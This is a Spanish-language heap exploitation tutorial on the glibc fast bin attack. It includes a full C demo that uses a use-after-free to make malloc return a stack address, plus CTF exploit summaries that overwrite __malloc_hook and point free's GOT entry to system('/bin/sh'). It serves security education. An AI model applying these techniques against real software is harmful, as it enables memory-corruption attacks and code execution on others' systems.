Fast Bin Attack

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Información básica

Para más información sobre qué es un fast bin consulta esta página:

Bins & Memory Allocations

Porque el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y con solo modificar una dirección en un chunk de fast bin liberado es suficiente para poder allocate later a chunk in any memory address.

En resumen:

ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it

Puedes encontrar un ejemplo completo en un código muy bien explicado en https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;

ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);

printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);


printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

int stackVar = 0x55;

printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";

memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);

printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);

printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

free(ptr0);
free(ptr1);
free(ptr2);

printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

*ptr1 = (unsigned long)((char *)&stackVar);

printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

unsigned long *ptr3, *ptr4, *ptr5;

ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);

printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}

Ejemplos

• CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
• Es posible allocate chunks, free them, leer su contenido y rellenarlos (con una overflow vulnerability).
• Consolidate chunk for infoleak: La técnica consiste básicamente en abusar del overflow para crear un prev_size falso de modo que un chunk anterior quede dentro de uno más grande, por lo que al allocating el chunk más grande que contiene otro chunk, es posible imprimir sus datos y leak una dirección de libc (main_arena+88).
• Overwrite malloc hook: Para esto, y abusando de la situación de solapamiento previa, fue posible tener 2 chunks apuntando a la misma memoria. Por lo tanto, freeing ambos (freeing otro chunk entre medias para evitar protecciones) permitió tener el mismo chunk en el fast bin 2 veces. Luego, fue posible allocate de nuevo, overwrite la dirección del next chunk para que apunte un poco antes de __malloc_hook (de modo que apunte a un entero que malloc interpreta como un tamaño libre - otro bypass), allocate de nuevo y luego allocate otro chunk que recibirá una dirección hacia malloc hooks.\ Finalmente se escribió un one gadget allí.
• CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
• Hay un heap overflow y use after free y double free porque cuando un chunk es freed es posible reutilizar y volver a freear los punteros.
• Libc info leak: Basta freear algunos chunks y obtendrán un puntero a una parte de la ubicación del main arena. Como puedes reuse freed pointers, simplemente lee esa address.
• Fast bin attack: Todos los punteros a las allocations están almacenados dentro de un array, así que podemos freear un par de fast bin chunks y en el último sobrescribir la dirección para que apunte un poco antes de ese array de punteros. Luego, allocate un par de chunks del mismo tamaño y obtendremos primero el legítimo y luego el fake que contiene el array de punteros. Ahora podemos overwrite los pointers de esa allocation para hacer que la dirección GOT de free apunte a system y luego escribir "/bin/sh" en el chunk 1 para llamar a free(chunk1), lo cual en su lugar ejecutará system("/bin/sh").
• CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
• Otro ejemplo de abuso de un one byte overflow para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un fast bin attack para overwrite malloc hook con una dirección de one gadget
• CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
• Tras un infoleak abusando del unsorted bin con un UAF para leak una dirección de libc y una dirección PIE, el exploit de este CTF usó un fast bin attack para allocate un chunk en un lugar donde estaban los punteros a chunks controlados, por lo que fue posible overwrite ciertos punteros para escribir un one gadget en la GOT
• You can find a Fast Bin attack abused through an unsorted bin attack:
• Ten en cuenta que es común, antes de realizar fast bin attacks, abusar de las free-lists para leak direcciones de libc/heap (cuando sea necesario).
• Robot Factory. BlackHat MEA CTF 2022
• Solo podemos allocate chunks de tamaño mayor que 0x100.
• Overwrite global_max_fast using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
• Fast Bin attack para modificar una global array de chunks. Esto da un primitive de read/write arbitrario, que permite modificar la GOT y apuntar alguna función a system.

Unsorted Bin Attack